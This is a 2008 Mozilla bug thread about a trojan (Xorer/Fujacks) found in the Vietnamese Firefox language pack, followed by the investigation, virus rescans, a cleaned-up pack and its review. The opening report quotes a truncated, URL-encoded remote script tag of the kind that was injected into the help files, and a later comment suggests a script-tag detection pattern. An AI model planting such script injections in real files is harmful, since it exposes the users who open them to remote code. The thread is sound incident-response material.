Last Comment Bug 432406 - Virus found in Vietnamese language pack
: Virus found in Vietnamese language pack
Status: VERIFIED FIXED
[new version on amo][bad version bloc...
:
Product: addons.mozilla.org Graveyard
Classification: Graveyard
Component: Administration (show other bugs)
: unspecified
: All All
: -- critical
: ---
Assigned To: Justin Scott [:fligtar]
:
Mentors:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2008-05-06 01:08 PDT by Hai-Nam Nguyen (jcisio)
Modified: 2016-03-07 07:30 PST (History)
32 users (show)
See Also:
QA Whiteboard:
Iteration: ---
Points: ---


Attachments
Vietnamese Language Pack 2.0.0.14 (154.68 KB, application/x-xpinstall)
2008-05-08 23:04 PDT, Jasper Thái
dveditz: review+
l10n: review-
Details
New 2.00.14 pack (153.89 KB, application/x-xpinstall)
2008-05-16 04:43 PDT, Jasper Thái
l10n: review+
Details
Bug 432406 - Virus found in Vietnamese language pack (deleted)
2009-05-03 12:28 PDT, Rowdy
no flags Details

Description Hai-Nam Nguyen (jcisio) 2008-05-06 01:08:39 PDT
User-Agent:       Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
Build Identifier: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14

Hello,

Vietnamese Language Pack 2.0 at http://addons.mozilla.org/firefox/addon/5954 has Xorer trojan. All help pages (*.xhtml) are malicious script right after </html>:

<script src="http://%6A%73..."></script>



Reproducible: Always

Steps to Reproduce:
1. Go to http://addons.mozilla.org/firefox/addon/5954
2. Save the xpi file
3. Scan that file with Avast, Kaspersky or any antivirus you have, 2/3 will detect it.


Expected Results:  
remove the virus
Comment 1 Steffen Wilberg 2008-05-06 01:13:06 PDT
Confirming.
Comment 2 Steffen Wilberg 2008-05-06 01:16:15 PDT
CC'ing the author as well.
Comment 3 Justin Scott [:fligtar] 2008-05-06 01:37:02 PDT
I've admin-disabled (author can't update) the langpack until we can investigate this further.
Comment 4 Justin Scott [:fligtar] 2008-05-06 01:43:27 PDT
Link to xpi for when cache expires and it stops showing up on public pages:

http://releases.mozilla.org/pub/mozilla.org/addons/5954/vietnamese_language_pack-2.0-fx-win.xpi
Comment 5 Dave Miller [:justdave] (justdave@bugzilla.org) 2008-05-06 01:47:24 PDT
clamscan says:
vietnamese_language_pack-2.0-fx-win.xpi: HTML.Xorer FOUND

The file is dated February 18, the virus signature is date April 14, so we apparently had this in the wild for about 2 months before the scanners were detecting it.

I think this needs to be nuked from the UI on the addons site first by an addons admin.  If I nuke it from staging the app will just put it back.
Comment 6 Dave Miller [:justdave] (justdave@bugzilla.org) 2008-05-06 01:47:57 PDT
and I see fligtar already did that, I midaired with him.
Comment 8 Axel Hecht [:Pike] 2008-05-06 01:52:03 PDT
https://addons.mozilla.org/de/firefox/browse/type:3 still links to it, btw.
Comment 9 Dave Miller [:justdave] (justdave@bugzilla.org) 2008-05-06 01:53:02 PDT
The signature I found that said April 14 on it was HTML.Xorer.A.  The one you just found is much more likely to be a match, and the window looks much smaller there.
Comment 10 Hai-Nam Nguyen (jcisio) 2008-05-06 02:01:26 PDT
With info from Panda security, I think it just because the author's local network was infected with the virus, so it modified html files. The main virus is a Win32 program. The infected code just display annoying banner but it can't propagate.

I think we might just remove the script and everything backs ok.
Comment 11 Dave Miller [:justdave] (justdave@bugzilla.org) 2008-05-06 07:56:06 PDT
Just FYI, I scanned the entire addons tree last night with the current virus defs and that was the only file found to be infected with anything.
Comment 12 Mike Shaver (:shaver -- probably not reading bugmail closely) 2008-05-06 08:06:56 PDT
I thought we were scanning all the uploads -- did it slip by before the virus definitions were updated to include HTML.Xorer?  Maybe we need to rescan after every definition update?
Comment 13 Fred Wenzel [:wenzel] 2008-05-06 08:11:06 PDT
(In reply to comment #8)
> https://addons.mozilla.org/de/firefox/browse/type:3 still links to it, btw.

After the cache expired, that's gone now AFAICT.
Comment 14 Axel Hecht [:Pike] 2008-05-06 08:14:57 PDT
Yes, thanks. Should we have nuked the caches for this, and can we?
Comment 15 Fred Wenzel [:wenzel] 2008-05-06 08:21:13 PDT
(In reply to comment #14)
> Yes, thanks. Should we have nuked the caches for this, and can we?

IT can, and for critical things like this I suggest we do it in the future when we need immediate effect. It will put more load on the app cluster but it's temporary until the caches refill. However, since Justin disabled the add-on, I am quite sure the download stopped working immediately in spite of the link being shown, so it didn't do harm (more than possibly confusing the users clicking it in vain, of course).
Comment 16 Axel Hecht [:Pike] 2008-05-06 08:51:10 PDT
I don't know what exactly happens when you disable an add-on, but as the langpacks page links directly to the https://addons.mozilla.org/de/firefox/downloads/file/22560/furlan_language_pack-2.0.0.3-fx.xpi etc file pages, I don't think this is necessarily one go. I don't have the old file link, so I can't tell. But that's somewhat off-topic to this bug here.

Looking forward, I guess there are a few extra bugs to file? I guess the infected file on http://releases.mozilla.org/pub/mozilla.org/addons/5954/ should move into a even more restricted area? Do we need a bug for scanning the add-ons for updated signatures? I guess we need a bug on the langpack page offering all kinds of packs independent of fx version. Is there a trivial review thing we can do to catch infected langpacks early?

Jasper, please make sure that your system is cleaned up, remove the offending html parts and try to get the updated version back up on AMO?
Comment 17 Justin Scott [:fligtar] 2008-05-06 10:20:09 PDT
Since we seem to have determined it wasn't malicious on the part of the author, I've changed the add-on status to be in the sandbox and deleted both files.

Jasper, please upload a new version without the virus and let us know and we'll check it out before pushing it public again.

Dave, please delete the files again - they shouldn't come back now.
Comment 18 Dave Miller [:justdave] (justdave@bugzilla.org) 2008-05-06 10:49:42 PDT
(In reply to comment #12)
> I thought we were scanning all the uploads -- did it slip by before the virus
> definitions were updated to include HTML.Xorer?

Yes, that was explained in comment 5.

> Maybe we need to rescan after every definition update?

Ideally, yes, except that we get new definitions on average every 6 hours or so and it takes over a week to virus scan the entire ftp server.  Getting monthly scans is in the plan for the new stage server once we get it working.

(In reply to comment #17)
> Dave, please delete the files again - they shouldn't come back now.

It should have deleted it automatically when you moved it to the sandbox.  If it didn't, it's a bug.
Comment 19 Justin Scott [:fligtar] 2008-05-06 10:52:38 PDT
(In reply to comment #18)
> It should have deleted it automatically when you moved it to the sandbox.  If
> it didn't, it's a bug.
> 

bug 421173 in fact!

Comment 20 Dave Miller [:justdave] (justdave@bugzilla.org) 2008-05-06 11:06:44 PDT
OK, file removed from public_staging.
Comment 21 Mike Shaver (:shaver -- probably not reading bugmail closely) 2008-05-06 11:13:52 PDT
Can we just rescan using the newly added definitions (if that makes things faster), or just scan add-ons to make it go faster?  I think the risk level is a fair bit higher for uploaded add-ons and the contrib directories than for the builds pushed out by our tinderboxes, so it'd be good to improve the frequency on the softer targets if we can.
Comment 22 Dave Miller [:justdave] (justdave@bugzilla.org) 2008-05-06 12:20:59 PDT
I rescanned the addons tree last night, it took a few hours to run.  Don't know how many, it had been going for an hour or two when I went to sleep and it was done when I woke up.  Getting a full scan of addons daily would probably be doable.
Comment 23 Mike Schroepfer 2008-05-06 19:43:11 PDT
(In reply to comment #18)
> (In reply to comment #12)
> > I thought we were scanning all the uploads -- did it slip by before the virus
> > definitions were updated to include HTML.Xorer?
> 
> Yes, that was explained in comment 5.
> 
> > Maybe we need to rescan after every definition update?
> 
> Ideally, yes, except that we get new definitions on average every 6 hours or so
> and it takes over a week to virus scan the entire ftp server.  Getting monthly
> scans is in the plan for the new stage server once we get it working.

Is there a bug on this?  
Comment 24 Dave Miller [:justdave] (justdave@bugzilla.org) 2008-05-06 19:46:39 PDT
(In reply to comment #23)
> Is there a bug on this?  

bug 72410
Comment 25 Daniel Veditz [:dveditz] 2008-05-07 16:47:49 PDT
Filed bug 432736 on blocklisting the infected version
Comment 26 Justin Scott [:fligtar] 2008-05-07 17:37:51 PDT
Currently waiting on response from the author, who is CC'd to this bug. I guess if we don't hear anything after a week, we'll call this FIXED and ask Editors to request super-review if they see it come through the queues later.
Comment 27 Dan Guido 2008-05-07 21:07:14 PDT
Was the source of this malicious code found?
Comment 28 Minh Nguyễn 2008-05-07 23:18:23 PDT
Jasper also made a Vietnamese distribution of Firefox, in case you'd like to check it for any issues:

Unix: http://jasperlotus.googlepages.com/vi-VN.tar
Self-contained EXE: http://jasperlotus.googlepages.com/firefoxportable.exe
Description: http://jasperlotus.blogspot.com/2006/11/firefox-20-ting-vit-final.html
Comment 29 Jasper Thái 2008-05-08 05:04:42 PDT
Sorry for the inconvenient!
I've found that translated help files was modified by a virus, come from China.
I'm so busy these days, but I've cleaned up malicious code. The new fresh pack coming soon.
Thanks!
Comment 30 Dave Miller [:justdave] (justdave@bugzilla.org) 2008-05-08 10:12:40 PDT
FYI (per email I just got from them) McAfee detects this as "W32/Fujacks!htm trojan". (They contacted me for a sample since they didn't have anything called Xorer in their database - turns out they had it, just under a different name).
Comment 31 Dan Guido 2008-05-08 11:01:54 PDT
Hi Jasper, where were the translated help files modified from? Your desktop? Once they were on the Mozilla servers?
Comment 32 Dave Miller [:justdave] (justdave@bugzilla.org) 2008-05-08 13:12:17 PDT
(In reply to comment #31)
> Hi Jasper, where were the translated help files modified from? Your desktop?
> Once they were on the Mozilla servers?

Considering that the virus in question is a Windows virus and the machine it's housed on at Mozilla runs Linux, it probably wasn't on our end.  We do know that the signature for that virus wasn't in the virus defs for our virus scanner until about 2 weeks after the file was uploaded.
Comment 33 David A. Wheeler 2008-05-08 13:34:38 PDT
Is there any reason that language packs need a "script" capability at all?  I suggest preventing ANY use of scripts, etc., in language packs.  In fact, I think language packs should be scanned to permit only specific formats, and forbid anything else.

Language packs are a very special case in open source software.  Generally, anyone who can speak English (a vast number of people nowadays) can review all other components, but only speakers of particular languages are going to be competent at reviewing a language pack.  Since mass peer review is less likely to work for language packs for less-common languages, it'd be better to make it impossible for language packs to do harm in the first place.

Anyway, my two cents; hope it helps.
You guys have done a lot of great stuff; here's hoping for even better.
Comment 34 Wil Clouser [:clouserw] 2008-05-08 13:39:15 PDT
(In reply to comment #33)
> Is there any reason that language packs need a "script" capability at all?  I
> suggest preventing ANY use of scripts, etc., in language packs.  In fact, I
> think language packs should be scanned to permit only specific formats, and
> forbid anything else.
> 

No, they shouldn't contain scripts as mentioned in bug 390657 and bug 391705.  Official policy is at http://wiki.mozilla.org/Update:Editors/ReviewingGuide#Reviewing_Language_Packs.  AMO currently doesn't enforce this policy via software (bug 371210).
Comment 35 Minh Nguyễn 2008-05-08 13:47:10 PDT
From a cursory search through the language pack's source, it looks like only the help files were affected here, and offline help has been removed for Firefox 3 in favor of support.mozilla.org.

By the way, if there are unused HTML files in a language pack, do they still pose a risk (i.e., by some old extension trying to load it through a chrome:// URL)?
Comment 36 Axel Hecht [:Pike] 2008-05-08 14:49:34 PDT
Removing scripting abilities from language packs would be a major architectural change, maybe we can do that for Mozilla 2.

As long as we feeding standard DTDs to the xml parser, they can hook up scripts.

The review policy should ask contributors to remove unnecessary files, which is what the compare-packs will show, which is part of the policy.

Whether there are proper heuristics to include in something for bug 371210 is a different question, and probably relates to all add-ons, not just language packs. Like, an extension author could try to hide a bad script tag (malicious or not) in a localization DTD at any time, so checking for something like 
"<(XMLName:)script" could be a good idea.
Comment 37 Daniel Veditz [:dveditz] 2008-05-08 17:02:38 PDT
(In reply to comment #36)
> Removing scripting abilities from language packs would be a major
> architectural change, maybe we can do that for Mozilla 2.

Maybe we can't do much for dtd content, but we can at least make the help viewer content window disable scripts and plugins just in case. Filed bug 432919
Comment 38 Jasper Thái 2008-05-08 20:32:52 PDT
Oh! I wonder why I can't upload the new pack?
``Please select a valid add-on type.'' in a red box.
I must do it soon because I have no more time!
Comment 39 Reed Loden [:reed] (use needinfo?) 2008-05-08 20:35:48 PDT
(In reply to comment #38)
> Oh! I wonder why I can't upload the new pack?
> ``Please select a valid add-on type.'' in a red box.
> I must do it soon because I have no more time!

Can you attach it to this bug at least? That way, if you can't upload it yourself, an AMO admin can upload it for you.
Comment 40 Nguyen Vu Hung 2008-05-08 20:39:14 PDT
(In reply to comment #34)
> No, they shouldn't contain scripts as mentioned in bug 390657 and bug 391705. 
> Official policy is at
> http://wiki.mozilla.org/Update:Editors/ReviewingGuide#Reviewing_Language_Packs.
>  AMO currently doesn't enforce this policy via software (bug 371210).
> 
Let me repeat the policy here for those who are too lazy to click the link:

<Reviewing_Language_Packs>
    *  Language packs should only include strings and not javascript
    * Deny if: XML parsing errors in opening all menus, all pref-dialog panes, Error console and Add-on manager.
    * Deny if there is any non-language pack functionality.
    * Suggested Tools: run a completeness test using compare-packs
    * Language packs not passing should remain in the sandbox 
</Reviewing_Language_Packs>

In this case, of course Vietnamese language package has been violated the first rule.

I agree with dwheeler on disabling javascript on langpack. The point is that we need to prevent human error like in this case.

The work should be double checked ( i.e. review ) more carefully bebore commiting and after committing. This is not an one-man project and the malicious code is just an one-line of javascript. We should've been eradicate it with cross review.

I don't use Vietnamese langpack but if our team need a reviewer, please contact me offlist. 
Comment 41 Justin Scott [:fligtar] 2008-05-08 21:26:49 PDT
(In reply to comment #38)
> Oh! I wonder why I can't upload the new pack?
> ``Please select a valid add-on type.'' in a red box.
> I must do it soon because I have no more time!
> 

Hmm, not sure why you'd get that error, but please attach the .xpi to this bug (click "Add an attachment" above) and if it looks good, we'll upload it and push it public for you.
Comment 42 Jasper Thái 2008-05-08 23:04:58 PDT
Created attachment 320114 [details]
Vietnamese Language Pack 2.0.0.14

Cleaned up version
Comment 43 Marek Stępień [:marcoos, inactive] 2008-05-09 01:11:17 PDT
(In reply to comment #40)
>     *  Language packs should only include strings and not javascript

Well, each and every langpack contains one JavaScript file, *-l10n.js - http://lxr.mozilla.org/l10n/find?string=.js
Comment 44 Minh Nguyễn 2008-05-09 01:21:09 PDT
It's a pref file, though, similar to user.js. IIRC they haven't been parsed like normal JavaScript files for years.
Comment 45 Axel Hecht [:Pike] 2008-05-09 01:26:55 PDT
Those files are not part of the language pack, but merely used for the repackaged builds. At least in the standard builds we do.

They are generated, but not packaged, see http://mxr.mozilla.org/mozilla/source/browser/locales/Makefile.in#288, for example.

Which is good, otherwise we'd break automatic updates again, those can't stand setting the useragent locale in an add-on pref.
Comment 46 Hermann Schwab 2008-05-09 02:58:15 PDT
(In reply to comment #43)
> (In reply to comment #40)
> >     *  Language packs should only include strings and not javascript
> 
> Well, each and every langpack contains one JavaScript file, *-l10n.js -
> http://lxr.mozilla.org/l10n/find?string=.js

The language packs are containing two folders named 'help', and in these are .xhtml-files.

Download attachment 320114 [details], unzip it, and unzip vi-VN.jar in the 'chrome' folder. Then you will find locale/browser/help containing 14 .xhtml-files, 2 .rdf-files, and 1 .dtd-file.
locale/vi-VN/help contains welcome.xhtml and each one .properties .rdf .dtd file.
Comment 47 Justin Scott [:fligtar] 2008-05-09 06:19:00 PDT
The new version looks good to me. dveditz and axel, please review and make sure everything looks good, if you don't mind.
Comment 48 Justin Scott [:fligtar] 2008-05-12 21:31:45 PDT
Since we don't currently have a version of the Vietnamese Language Pack on AMO, I'm going to make the new attached version public on Wednesday if dveditz or axel hasn't reviewed it by then.
Comment 49 Axel Hecht [:Pike] 2008-05-12 23:00:43 PDT
That ain't the review policy anywhere else in Mozilla, and I'd rather not make it the one on AMO. Setting deadlines to just do stuff instead isn't the right way to poke for reviews either.
Comment 50 Justin Scott [:fligtar] 2008-05-12 23:16:58 PDT
If you're busy, please feel free to ignore the review request - I was just looking for another set of eyes on it to make sure I didn't miss anything. I indicated the deadline because that's when I intend to push it public and if either of you were interested in checking it out before that was done, you'd know when it would happen.

Of course if you have any specific concerns about it, I can wait.
Comment 51 Daniel Veditz [:dveditz] 2008-05-13 00:37:07 PDT
Comment on attachment 320114 [details]
Vietnamese Language Pack 2.0.0.14

r=dveditz
Identical to version 2.0 with the <script> tags removed from help .xhtml files
Comment 52 Axel Hecht [:Pike] 2008-05-13 01:48:21 PDT
Comment on attachment 320114 [details]
Vietnamese Language Pack 2.0.0.14

Review comments:

in regionNames.properties, the 'vi' entry should actually be 'vn'.

There is some mismatch in mozapps/xpinstall/xpinstallConfirm.properties, see bug 275629,
        -itemWarnIntroMultiple
        -itemWarnIntroSingle
        +itemWarningIntroMultiple
        +itemWarningIntroSingle

The following files shouldn't be in the vi-VN.jar:

      699  07-21-07 19:26   locale/browser/aboutDialog.dtd.bak
     2335  10-18-06 20:53   locale/browser/baseMenuOverlay.dtd.bak
    17884  07-21-07 19:47   locale/browser/browser.dtd.bak
     5561  07-21-07 19:54   locale/browser/browser.properties.bak
     1673  10-26-06 21:56   locale/browser/credits.dtd.bak
Comment 53 Mike Shaver (:shaver -- probably not reading bugmail closely) 2008-05-13 04:48:51 PDT
Axel: are those a regression of some sort, vs. the infected version people have installed today?
Comment 54 Axel Hecht [:Pike] 2008-05-13 05:01:46 PDT
Those are not regressions.

But: as long as bug 313453 is out there, we won't update existing users of that language pack. So I'd rather get this up without bugs, then getting it up with bugs again.
Comment 55 Justin Scott [:fligtar] 2008-05-15 13:15:18 PDT
Jasper, can you make another xpi with the issues in comment #52 addressed please?
Comment 56 Jasper Thái 2008-05-16 04:43:14 PDT
Created attachment 321234 [details]
New 2.00.14 pack

New xpi with the issues in comment #52 addressed!
Comment 57 Axel Hecht [:Pike] 2008-05-16 05:01:29 PDT
Comment on attachment 321234 [details]
New 2.00.14 pack

Putting this into my review queue again.
Comment 58 Hùng. NGUYỄN Mạnh 2008-06-01 04:17:09 PDT
@Vietnamese guys: Nhân tiện, chúng ta có thể bắt đầu dịch Firefox 3 luôn không? Phiên bản mới này mình thấy có nhiều điểm khá thú vị. Thật tiếc là người Việt chúng ta cũng dùng Firefox khá nhiều mà vẫn chưa có một phiên bản phát hành chính thức trên trang chủ. Nếu bây giờ chúng ta có thể bắt tay vào làm để được phát hành cùng lúc với ngày ra mắt chính thức bản Firefox 3 final thì thật hay.

Mình muốn được giúp đỡ Jasper Thái. Hi vọng bạn cũng muốn tổ chức một nhóm để làm, thay vì làm việc đơn lẻ như hiện tại.
Comment 59 Minh Nguyễn 2008-06-01 04:27:52 PDT
Rough translation:

(In reply to comment #58)
> By the way, can we begin translating Firefox 3 as well? I think
> the new version has many great features. It's really sad that
> very many of us Vietnamese use Firefox, but there still isn't an
> official release [in Vietnamese] at [Mozilla's site]. It would be
> great if we could get to work and release a translation by the
> time Firefox 3 final is officially released.
> 
> I would like to help you, Jasper Thái. Hopefully you'd also like
> to organize a group to do this, instead of by yourself.
Comment 60 Axel Hecht [:Pike] 2008-06-13 06:48:33 PDT
Comment on attachment 321234 [details]
New 2.00.14 pack

This is looking good. Mind uploading that again to AMO and update this bug with the extension URL? Then I'll carry my review over to there, too.
Comment 61 Justin Scott [:fligtar] 2008-06-13 10:11:35 PDT
I uploaded the new version and made the add-on public again. Because of an issue with uploading language packs currently, the add-on type was changed to Extension during upload. I'll be able to change it back to Language Pack after our 3.4.3 changes are pushed live tonight. Until then it won't show up on the Dictionaries and Language Packs landing page.
Comment 62 Justin Scott [:fligtar] 2008-06-13 18:42:26 PDT
Ok, the add-on type has been changed back to Language Pack (Application) and should show up on the landing page when cache is cleared.

Resolving.
Comment 63 Axel Hecht [:Pike] 2008-06-14 01:27:32 PDT
VERIFIED, just checked.

The advanced search stuff seems to be having layout issues, I hope this is just the css not being out of the cache yet.
Comment 64 Jasper Thái 2008-07-17 21:53:37 PDT
I'm requesting a CVS account. Please vouch for me. I'm currently working on FF3.
Thanks!
Details: https://bugzilla.mozilla.org/show_bug.cgi?id=356527
Comment 65 Rowdy 2009-05-03 12:28:01 PDT
Created attachment 375531 [details]
 Bug 432406 -  Virus found in Vietnamese language pack
Comment 66 Dave Miller [:justdave] (justdave@bugzilla.org) 2009-05-03 14:34:37 PDT
The content of attachment 375531 [details] has been deleted by
    Dave Miller [:justdave] <justdave@mozilla.com>
who provided the following reason:

Windows EXE file, unrelated to bug

The token used to delete this attachment was generated at 2009-05-03 14:34:22 PDT.

Note You need to log in before you can comment on or make changes to this bug.